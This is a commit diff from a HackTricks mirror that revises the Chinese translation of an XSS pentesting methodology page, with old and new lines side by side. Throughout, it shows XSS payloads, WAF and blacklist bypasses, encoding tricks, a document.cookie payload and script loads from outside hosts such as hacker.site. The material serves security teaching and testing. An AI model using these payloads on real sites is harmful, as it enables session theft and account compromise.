mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/wasm-linear-mem
This commit is contained in:
parent
a566033051
commit
0e1eae18f7
@ -725,6 +725,7 @@
|
||||
- [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
- [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
|
||||
- [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
- [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md)
|
||||
- [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
- [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
- [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||
|
@ -4,30 +4,30 @@
|
||||
|
||||
## 方法论
|
||||
|
||||
1. 检查是否有 **任何你控制的值** (_parameters_, _path_, _headers_?, _cookies_?) 被**反射**在 HTML 中或被 **JS** 代码**使用**。
|
||||
2. **找出被反射/使用的上下文**。
|
||||
3. 如果被 **reflected**
|
||||
1. 检查 **你可以使用哪些符号**,并据此准备 payload:
|
||||
1. 在 **raw HTML** 中:
|
||||
1. 你能创建新的 HTML tag 吗?
|
||||
2. 你能使用支持 `javascript:` 协议的事件或属性吗?
|
||||
3. 你能绕过保护吗?
|
||||
4. HTML 内容是否被任何客户端 JS 引擎(_AngularJS_, _VueJS_, _Mavo_...)解释;你可以滥用 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你不能创建能执行 JS 的 HTML tag,是否可以滥用 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. 在 **HTML 标签内**:
|
||||
1. 你能退出到 raw HTML 上下文吗?
|
||||
2. 你能创建新的事件/属性来执行 JS 吗?
|
||||
1. 检查是否**任何你控制的值** (_parameters_, _path_, _headers_?, _cookies_?) 被**反射**在 HTML 中或被 **JS** 代码**使用**。
|
||||
2. **找出它被反射/使用的上下文**。
|
||||
3. 如果被**反射**
|
||||
1. 检查**你可以使用哪些符号**,并据此准备 payload:
|
||||
1. 在**原始 HTML**中:
|
||||
1. 能否创建新的 HTML 标签?
|
||||
2. 能否使用支持 `javascript:` 协议的事件或属性?
|
||||
3. 能否绕过防护措施?
|
||||
4. HTML 内容是否被任何 client side JS 引擎(_AngularJS_, _VueJS_, _Mavo_...)解释,你可以利用 [**Client Side Template Injection**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你无法创建能执行 JS 的 HTML 标签,是否可以利用 [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)?
|
||||
2. 在**HTML 标签**内部:
|
||||
1. 能否退出到原始 HTML 上下文?
|
||||
2. 能否创建新的事件/属性来执行 JS 代码?
|
||||
3. 你被困的属性是否支持 JS 执行?
|
||||
4. 你能绕过保护吗?
|
||||
3. 在 **JavaScript 代码** 内:
|
||||
1. 你能转义 `<script>` tag 吗?
|
||||
2. 你能转义字符串并执行不同的 JS 代码吗?
|
||||
3. 你的输入是否在 template literals `` 中?
|
||||
4. 你能绕过保护吗?
|
||||
4. 被**执行**的 Javascript **function**
|
||||
4. 能否绕过防护?
|
||||
3. 在**JavaScript 代码**内部:
|
||||
1. 能否转义 `<script>` 标签?
|
||||
2. 能否转义字符串并执行不同的 JS 代码?
|
||||
3. 你的输入是否在模板字面量 \`\` 中?
|
||||
4. 能否绕过防护?
|
||||
4. Javascript **function** 被**执行**
|
||||
1. 你可以指定要执行的函数名。例如:`?callback=alert(1)`
|
||||
4. 如果被 **used**:
|
||||
1. 你可能会利用 **DOM XSS**,注意你的输入如何被控制以及你的**可控输入是否被任何 sink 使用**。
|
||||
4. 如果被**使用**:
|
||||
1. 你可能能利用 **DOM XSS**,注意你的输入如何被控制以及你的**受控输入是否被任何 sink 使用。**
|
||||
|
||||
在处理复杂的 XSS 时,你可能会想了解:
|
||||
|
||||
@ -38,47 +38,47 @@ debugging-client-side-js.md
|
||||
|
||||
## 被反射的值
|
||||
|
||||
要成功利用 XSS,首先需要找到一个**由你控制且被反射**在页面中的值。
|
||||
为了成功利用 XSS,首先需要找到一个**被你控制且在网页中被反射的值**。
|
||||
|
||||
- **即时反射**:如果你发现某个参数的值或甚至路径被反射在网页中,你可以利用 **Reflected XSS**。
|
||||
- **存储并被反射**:如果你发现由你控制的值被保存在服务器上并在每次访问页面时被反射,你可以利用 **Stored XSS**。
|
||||
- **被 JS 访问**:如果你发现由你控制的值被 JS 访问,你可以利用 **DOM XSS**。
|
||||
- **中间反射**:如果你发现参数的值或者路径在网页中被反射,你可以利用 **Reflected XSS**。
|
||||
- **被存储并反射**:如果你发现你控制的值被保存在服务器上,并且每次访问页面时都会被反射,你可以利用 **Stored XSS**。
|
||||
- **通过 JS 访问**:如果你发现你控制的值被 JS 访问,你可以利用 **DOM XSS**。
|
||||
|
||||
## 上下文
|
||||
|
||||
在尝试利用 XSS 时,首先需要知道 **你的输入被反射到哪里**。根据上下文,你能够用不同方式执行任意 JS 代码。
|
||||
在尝试利用 XSS 时,首先需要知道**你的输入在哪被反射**。根据上下文,你可以通过不同的方式执行任意的 JS 代码。
|
||||
|
||||
### 原始 HTML
|
||||
|
||||
如果你的输入**被反射到原始 HTML** 页面中,你需要滥用一些 **HTML tag** 来执行 JS 代码:`<img , <iframe , <svg , <script` ... 这些只是可用 HTML tag 的一部分。\
|
||||
另外,注意 [Client Side Template Injection](../client-side-template-injection-csti.md)。
|
||||
如果你的输入被**反射在原始 HTML** 页面上,你需要滥用一些 **HTML 标签** 来执行 JS 代码: `<img , <iframe , <svg , <script` ... 这些只是你可以使用的众多 HTML 标签中的一部分。\
|
||||
另请记住 [Client Side Template Injection](../client-side-template-injection-csti.md)。
|
||||
|
||||
### 在 HTML 标签属性内
|
||||
|
||||
如果你的输入被反射在某个标签属性的值中,你可以尝试:
|
||||
如果你的输入被反射在某个标签属性的值内,你可以尝试:
|
||||
|
||||
1. **从属性和标签中转义**(然后你将进入 raw HTML),并创建新的 HTML tag 来滥用:`"><img [...]`
|
||||
2. 如果你**能从属性中转义但不能从标签中转义**(`>` 被编码或删除),取决于标签你可以**创建一个事件**来执行 JS:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你**不能从属性中转义**(`"` 被编码或删除),那么取决于**哪个属性**反射了你的值以及你是否控制整个值或只是其一部分,你可以滥用它。例如,如果你能控制像 `onclick=` 这样的事件属性,你就可以让它在被点击时执行任意代码。另一个有趣的例子是 `href` 属性,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入被反射在“不可利用的标签”内,你可以尝试使用 **`accesskey`** 技巧来滥用该漏洞(这需要一定的社会工程学才能利用):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
1. 尝试**从属性和标签中脱离**(这样你就处于原始 HTML),并创建新的 HTML 标签以滥用:`"><img [...]`
|
||||
2. 如果你**可以从属性中脱离但不能脱离标签**(`>` 被编码或删除),根据标签的不同你可以**创建一个事件**来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
|
||||
3. 如果你**不能从属性中脱离**(`"` 被编码或删除),那么取决于**哪个属性**中反射你的值,以及你是控制整个值还是只是其中一部分,你将能够滥用它。例如,如果你控制一个像 `onclick=` 这样的事件,你可以使其在被点击时执行任意代码。另一个有趣的例子是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
4. 如果你的输入被反射在“不可利用的标签”内部,你可以尝试 **`accesskey`** 技巧来滥用该漏洞(你需要一些社会工程手段来利用它):**`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
如果你控制类名,会导致 Angular 执行 XSS 的奇怪例子:
|
||||
如果你控制类名,Angular 执行 XSS 的一个奇怪示例:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
</div>
|
||||
```
|
||||
### 在 JavaScript 代码中
|
||||
### 在 JavaScript 代码内部
|
||||
|
||||
在这种情况下,你的输入会被反射到 HTML 页面中的 **`<script> [...] </script>`** 标签之间、`.js` 文件内,或使用 **`javascript:`** 协议的属性中:
|
||||
在这种情况下,你的输入会被反射到 HTML 页面中的 **`<script> [...] </script>`** 标签之间,或者位于 `.js` 文件中,或位于使用 **`javascript:`** 协议的属性中:
|
||||
|
||||
- 如果被反射在 **`<script> [...] </script>`** 标签之间,即使你的输入在任何类型的引号内,也可以尝试注入 `</script>` 来跳出该上下文。这之所以可行,是因为浏览器**会先解析 HTML 标签**然后再解析内容,因此它不会注意到你注入的 `</script>` 标签位于 HTML 代码内部。
|
||||
- 如果被反射到 **JS 字符串内部**,而上一个技巧不起作用,你需要**退出**字符串、**执行**你的代码并**重建**JS 代码(如果有任何错误,它将不会被执行:
|
||||
- 如果被反射到 **`<script> [...] </script>`** 标签之间,即使你的输入位于任意类型的引号内,你也可以尝试注入 `</script>` 来逃离此上下文。这样做有效的原因是 **浏览器会先解析 HTML 标签** 然后再解析内容,因此它不会注意到你注入的 `</script>` 标签实际上在 HTML 代码中。
|
||||
- 如果被反射到 **JS 字符串内部**,并且上一招不起作用,你需要**退出**字符串、**执行**你的代码并**重构** JS 代码(如果有任何错误,代码将不会被执行):
|
||||
- `'-alert(1)-'`
|
||||
- `';-alert(1)//`
|
||||
- `\';alert(1)//`
|
||||
- 如果被反射在模板字面量内部,你可以**嵌入 JS 表达式**,使用 `${ ... }` 语法: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode encode** 可以用来写出**valid javascript code**:
|
||||
- 如果被反射到模板字面量内部,你可以使用 `${ ... }` 语法**嵌入 JS 表达式**: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **Unicode 编码** 可以用于编写**有效的 javascript 代码**:
|
||||
```javascript
|
||||
alert(1)
|
||||
alert(1)
|
||||
@ -86,8 +86,8 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting 指的是在使用之后再**声明函数、变量或类**的可能性,这样可以滥用那些 XSS 使用未声明变量或函数的场景。\
|
||||
**更多信息请查看以下页面:**
|
||||
Javascript Hoisting 指的是有机会**在使用之后声明函数、变量或类,从而可以滥用那些 XSS 使用未声明变量或函数的场景。**\
|
||||
**查阅以下页面以获取更多信息:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -96,19 +96,19 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
一些网页会有端点(endpoints)**接受作为参数要执行的函数名**。常见的例子是在野外看到类似的用法:`?callback=callbackFunc`。
|
||||
Several web pages have endpoints that **接受作为参数要执行的函数名**。常见的实际例子像:`?callback=callbackFunc`。
|
||||
|
||||
判断用户直接提供的内容是否会被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台查看是否出现如下错误:
|
||||
判断用户直接提供的内容是否会被执行的一个好方法是**修改该参数的值**(例如改为 'Vulnerable'),并在控制台查找类似的错误:
|
||||
|
||||
.png>)
|
||||
|
||||
如果存在漏洞,你可能只需发送该值就能**触发 alert**:**`?callback=alert(1)`**。不过,这类端点通常会**验证内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||
如果存在漏洞,你可能只需发送该值就能**触发一个 alert**:**`?callback=alert(1)`**。然而,这类 endpoints 很常见会**校验内容**,只允许字母、数字、点和下划线(**`[\w\._]`**)。
|
||||
|
||||
然而,即使有这种限制,仍然可以执行某些操作。原因是你可以利用这些合法字符去**访问 DOM 中的任意元素**:
|
||||
不过,即使有上述限制,仍可执行某些操作。这是因为你可以使用这些合法字符来**访问 DOM 中的任意元素**:
|
||||
|
||||
.png>)
|
||||
|
||||
一些对此有用的函数:
|
||||
一些有用的函数:
|
||||
```
|
||||
firstElementChild
|
||||
lastElementChild
|
||||
@ -118,9 +118,9 @@ parentElement
|
||||
```
|
||||
你也可以尝试直接**触发 Javascript 函数**:`obj.sales.delOrders`。
|
||||
|
||||
然而,通常执行该函数的端点没有太多有趣的 DOM,**同一来源的其他页面**会有**更有趣的 DOM**来执行更多操作。
|
||||
然而,通常执行所示函数的端点并没有太多有趣的 DOM,**同源的其他页面**会有**更有趣的 DOM**以执行更多操作。
|
||||
|
||||
因此,为了**在不同的 DOM 中滥用此漏洞**,开发了 **Same Origin Method Execution (SOME)** 利用方法:
|
||||
因此,为了**在不同的 DOM 中滥用此漏洞**,开发了**Same Origin Method Execution (SOME)** 利用方法:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -129,7 +129,7 @@ some-same-origin-method-execution.md
|
||||
|
||||
### DOM
|
||||
|
||||
存在**JS code**非安全地使用一些由攻击者控制的数据,例如 `location.href`。攻击者可以滥用此点来执行任意 JS 代码。
|
||||
存在**JS 代码**不安全地使用某些**由攻击者控制的数据**,例如 `location.href`。攻击者可以滥用这一点来执行任意 JS 代码。
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -138,7 +138,7 @@ dom-xss.md
|
||||
|
||||
### **Universal XSS**
|
||||
|
||||
这类 XSS 可以在**任何地方**被发现。它们不仅依赖于对 web 应用的客户端利用,还依赖于**任何****上下文**。这类**任意 JavaScript 执行**甚至可以被滥用以获得 **RCE**、在客户端和服务器上**读取任意文件**,以及更多。\
|
||||
这种类型的 XSS 可以在**任何地方**发现。它们不仅依赖于对 Web 应用的客户端利用,而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获取 **RCE**、在客户端和服务器上**读取任意文件**,等等。\
|
||||
一些**示例**:
|
||||
|
||||
|
||||
@ -155,13 +155,13 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
.jpg>)
|
||||
|
||||
## 在原始 HTML 中注入
|
||||
## 注入到原始 HTML 中
|
||||
|
||||
当你的输入被反射到**HTML 页面内部**,或者你可以在该上下文中转义并注入 HTML 代码时,**第一**件要做的事是检查是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或是否被**原样反射**。**仅在最后一种情况下你才可以利用该情形**。\
|
||||
对于这些情形也**请记住** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_
|
||||
当你的输入被反射在**HTML 页面内部**,或者你可以在该上下文中转义并注入 HTML 代码时,第一件需要做的事情是检查是否可以滥用 `<` 来创建新标签:尝试**反射**该**字符**并检查它是否被**HTML 编码**或被**删除**,或者是否被**无变化地反射**。**只有在最后一种情况下你才能利用该场景**。\
|
||||
对于这类情况也**请记住** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**。**\
|
||||
_**注:HTML 注释可以通过使用\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
|
||||
|
||||
在这种情况下,如果未使用黑/白名单,你可以使用如下 payloads:
|
||||
在这种情况下,如果没有使用黑/白名单过滤,你可以使用类似如下的 payload:
|
||||
```html
|
||||
<script>
|
||||
alert(1)
|
||||
@ -169,22 +169,22 @@ alert(1)
|
||||
<img src="x" onerror="alert(1)" />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
但如果使用了标签/属性的黑/白名单过滤,你将需要 **brute-force which tags** 你可以创建。\
|
||||
一旦你**located which tags are allowed**,你需要在已发现的有效标签内 **brute-force attributes/events**,以查看如何利用该上下文。
|
||||
但是,如果正在使用 tags/attributes black/whitelisting,你需要 **brute-force which tags** 你可以创建。\
|
||||
一旦你 **located which tags are allowed**,你需要在找到的有效 tags 内 **brute-force attributes/events**,以查看如何攻击该上下文。
|
||||
|
||||
### 标签/事件 brute-force
|
||||
### Tags/Events brute-force
|
||||
|
||||
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
|
||||
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. 然后,使用 Burp intruder 发送它们的全部项,并检查是否有任何 tags 未被 WAF 识别为恶意。一旦发现可使用的 tags,就可以使用这些有效 tags **brute force all the events**(在同一网页点击 _**Copy events to clipboard**_ 并重复之前的步骤)。
|
||||
|
||||
### 自定义标签
|
||||
### Custom tags
|
||||
|
||||
如果你没有找到任何有效的 HTML 标签,可以尝试 **create a custom tag** 并使用 `onfocus` 属性执行 JS 代码。在 XSS 请求中,你需要在 URL 末尾添加 `#`,以使页面 **focus on that object** 并 **execute** 代码:
|
||||
如果没有找到任何有效的 HTML tag,你可以尝试 **create a custom tag** 并使用 `onfocus` attribute 来执行 JS 代码。在 XSS 请求中,URL 需要以 `#` 结尾,以使页面 **focus on that object** 并 **execute** 该代码:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Blacklist Bypasses
|
||||
### 黑名单绕过
|
||||
|
||||
如果正在使用某种 blacklist,你可以尝试用一些小技巧来绕过它:
|
||||
如果使用了某种黑名单,你可以尝试用一些小技巧来绕过它:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
@ -236,29 +236,29 @@ onerror=alert`1`
|
||||
```
|
||||
### Length bypass (small XSSs)
|
||||
|
||||
> [!NOTE] > **更多针对不同环境的 tiny XSS** payload [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**here**](https://tinyxss.terjanq.me).
|
||||
> [!NOTE] > **更多针对不同环境的 tiny XSS payload** [**可以在这里找到**](https://github.com/terjanq/Tiny-XSS-Payloads) 和 [**这里**](https://tinyxss.terjanq.me).
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
最后一个使用了 2 个 unicode 字符,会展开为 5 个:telsr\
|
||||
最后一个使用了 2 个 Unicode 字符,会展开为 5 个:telsr\
|
||||
更多此类字符可以在 [here](https://www.unicode.org/charts/normalization/) 找到。\
|
||||
要检查哪些字符被分解,请查看 [here](https://www.compart.com/en/unicode/U+2121)。
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
如果为了 exploit the vulnerability 你需要 **user to click a link or a form**(带有预填数据),你可以尝试 [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面存在漏洞)。
|
||||
如果为了利用该漏洞你需要**用户点击带有预填数据的链接或表单**,可以尝试[**滥用 Clickjacking**](../clickjacking.md#xss-clickjacking)(如果页面存在漏洞)。
|
||||
|
||||
### 不可能 - Dangling Markup
|
||||
### Impossible - Dangling Markup
|
||||
|
||||
如果你认为 **it's impossible to create an HTML tag with an attribute to execute JS code**,你应该查看 [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) 因为你可能在**不**执行 **JS** 代码的情况下 **exploit** 该 **vulnerability**。
|
||||
如果你认为**不可能创建带有可执行 JS 代码的 HTML tag 和属性**,你应该查看[**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html),因为你可能在**不**执行 **JS** 代码的情况下**利用**该漏洞。
|
||||
|
||||
## 在 HTML tag 中注入
|
||||
## Injecting inside HTML tag
|
||||
|
||||
### 在 tag 内/从 attribute value 中 escape
|
||||
### Inside the tag/escaping from attribute value
|
||||
|
||||
如果你位于 **inside a HTML tag**,首先可以尝试 **escape** 出该 tag,并使用 [previous section](#injecting-inside-raw-html) 中提到的一些技术来执行 **JS** 代码。\
|
||||
如果你 **cannot escape from the tag**,可以在该 tag 内创建新的 attributes 来尝试执行 **JS** 代码,例如使用如下 payload(_注意在此示例中双引号用于从 attribute 中 escape,如果你的输入是直接反射到 tag 内则不需要它们_):
|
||||
如果你处于**HTML tag 内**,首先可以尝试**从 tag 逃逸**并使用[上一节](#injecting-inside-raw-html)中提到的一些技术来执行 JS 代码。\
|
||||
如果你**无法从 tag 逃逸**,可以在 tag 内创建新的 attributes 来尝试执行 JS 代码,例如使用如下 payload(_注意在此示例中使用双引号来从 attribute 中逃逸,如果你的输入直接反射在 tag 内则不需要它们_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -273,16 +273,16 @@ onerror=alert`1`
|
||||
#moving your mouse anywhere over the page (0-click-ish):
|
||||
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
|
||||
```
|
||||
### Within the attribute
|
||||
### 在属性内
|
||||
|
||||
即便你 **cannot escape from the attribute** (`"` 被编码或删除),取决于你的值被反射在 **which attribute** 上以及你是 **控制整个值还是仅部分**,你仍然可以利用它滥用。For **example**,如果你控制了像 `onclick=` 这样的事件,你就能在点击时让它执行任意代码。\
|
||||
另一个有趣的 **example** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
即使你 **无法从属性中跳出** (`"` is being encoded or deleted),取决于 **哪个属性** 你的值被反射到,以及你 **是否控制整个值还是只有一部分**,你仍然能够滥用它。举个 **例子**,如果你控制一个像 `onclick=` 的事件,当它被点击时你可以让它执行任意代码.\
|
||||
另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass inside event using HTML encoding/URL encode**
|
||||
**在事件内使用 HTML 编码/URL 编码 绕过**
|
||||
|
||||
HTML 标签属性值内部的 **HTML encoded characters** 会在 **decoded on runtime**。因此如下内容将是有效的(payload 用黑体表示): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
HTML 标签属性值中的 **HTML 编码字符** 会在 **运行时被解码**。因此像下面这样的写法是有效的(有效载荷以粗体表示): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Go Back </a>`
|
||||
|
||||
注意,**any kind of HTML encode is valid**:
|
||||
注意 **任何形式的 HTML 编码都是有效的**:
|
||||
```javascript
|
||||
//HTML entities
|
||||
'-alert(1)-'
|
||||
@ -299,11 +299,11 @@ HTML 标签属性值内部的 **HTML encoded characters** 会在 **decoded on ru
|
||||
<a href="javascript:alert(2)">a</a>
|
||||
<a href="javascript:alert(3)">a</a>
|
||||
```
|
||||
**注意 URL encode 也会起作用:**
|
||||
**注意,URL encode 也可行:**
|
||||
```python
|
||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||
```
|
||||
**在事件内部使用 Unicode 编码进行绕过**
|
||||
**在事件内部使用 Unicode 编码绕过**
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
@ -311,7 +311,7 @@ HTML 标签属性值内部的 **HTML encoded characters** 会在 **decoded on ru
|
||||
```
|
||||
### 属性内的特殊协议
|
||||
|
||||
在那里你可以在某些地方使用协议 **`javascript:`** 或 **`data:`** 来**执行任意 JS 代码**。有些情况需要用户交互,有些则不需要。
|
||||
在那里你可以在某些位置使用协议 **`javascript:`** 或 **`data:`** 来 **execute arbitrary JS code**。有些需要用户交互,有些则不需要。
|
||||
```javascript
|
||||
javascript:alert(1)
|
||||
JavaSCript:alert(1)
|
||||
@ -333,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
```
|
||||
**可以注入这些协议的位置**
|
||||
|
||||
**一般来说** `javascript:` 协议可以 **在任何接受 `href` 属性的标签中使用**,并且在 **大多数接受 `src` 属性的标签中**(但不包括 `<img>`)
|
||||
**一般来说** `javascript:` 协议可以 **在任何接受属性 `href` 的标签中使用** 并且在 **大多数** 接受 **属性 `src`** 的标签中(但不包括 `<img>`)
|
||||
```html
|
||||
<a href="javascript:alert(1)">
|
||||
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
|
||||
@ -353,21 +353,21 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
||||
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
|
||||
<iframe srcdoc="<svg onload=alert(4);>">
|
||||
```
|
||||
**其他混淆技巧**
|
||||
**Other obfuscation tricks**
|
||||
|
||||
_**在这种情况下,由于位于属性内,上一节的 HTML 编码和 Unicode 编码技巧也有效。**_
|
||||
_**在这种情况下,HTML 编码和上一节中的 Unicode 编码技巧也适用,因为你处于属性内部。**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
此外,对于这些情况还有一个**妙招**:**即使你在 `javascript:...` 中的输入被 URL encoded,它会在执行前被 URL decoded。** 所以,如果你需要从 **string** 中 **escape**,使用 **single quote**,并且你看到 **it's being URL encoded**,记住 **it doesn't matter,** 它将在 **execution** time 被 **interpreted** 为 **single quote**。
|
||||
此外,对于这些情况还有一个**好技巧**:**即使你在 `javascript:...` 中的输入被 URL encoded,它也会在执行前被 URL decoded。** 因此,如果你需要使用 **escape** 从 **string** 中通过 **single quote** 跳出,并且你看到 **它被 URL encoded**,记住 **这无关紧要,** 它会在 **执行** 时被 **解释为** **single quote**。
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
|
||||
```
|
||||
请注意,如果你尝试 **同时使用** `URLencode + HTMLencode` 以任何顺序去编码 **payload**,它 **不会** **生效**,但你可以 **在 payload 内部混合使用它们**。
|
||||
注意,如果你尝试**同时使用** `URLencode + HTMLencode` 以任意顺序对**payload**进行编码,**不会****起作用**,但你可以**在payload内部混合它们**。
|
||||
|
||||
**在 `javascript:` 中使用 Hex 和 Octal 编码**
|
||||
**使用 Hex 和 Octal encode 与 `javascript:`**
|
||||
|
||||
你可以在 `iframe` 的 `src` 属性(至少)中使用 **Hex** 和 **Octal encode** 来声明 **HTML tags to execute JS**:
|
||||
```javascript
|
||||
@ -385,16 +385,17 @@ _**在这种情况下,由于位于属性内,上一节的 HTML 编码和 Unic
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
如果你可以在任意包含 **`target="_blank" and rel="opener"`** 属性的 **`<a href=`** 标签中注入任意 URL,请查看 **以下页面来利用此行为**:
|
||||
如果你能在任意包含 **`target="_blank" and rel="opener"`** 属性的 **`<a href=`** 标签中注入任意 URL,请查看以下页面以利用此行为:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
{{#endref}}
|
||||
|
||||
### on Event Handlers Bypass
|
||||
### on 事件处理器绕过
|
||||
|
||||
First of all check this page ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) for useful **"on" event handlers**.\
|
||||
In case there is some blacklist preventing you from creating this even handlers you can try the following bypasses:
|
||||
首先查看该页面 ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)),了解有用的 **"on" 事件处理器**。\
|
||||
如果存在某些黑名单阻止你创建这些事件处理器,可以尝试以下绕过方法:
|
||||
```javascript
|
||||
<svg onload%09=alert(1)> //No safari
|
||||
<svg %09onload=alert(1)>
|
||||
@ -411,12 +412,12 @@ Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS 在 "Unexploitable tags" (hidden input, link, canonical, meta)
|
||||
|
||||
从 [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以滥用 hidden inputs:**
|
||||
从 [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **现在可以通过以下方法滥用 hidden inputs:**
|
||||
```html
|
||||
<button popvertarget="x">Click me</button>
|
||||
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
|
||||
```
|
||||
以及在 **meta 标签**:
|
||||
并在 **meta 标签**:
|
||||
```html
|
||||
<!-- Injection inside meta attribute-->
|
||||
<meta
|
||||
@ -430,15 +431,15 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): 您可以执行 **XSS payload inside a hidden attribute**,前提是您能**说服** **victim** 按下 **key combination**。在 Firefox Windows/Linux 上,按键组合是 **ALT+SHIFT+X**,在 OS X 上是 **CTRL+ALT+X**。您可以通过在 access key attribute 中使用不同的键来指定不同的按键组合。下面是攻击向量:
|
||||
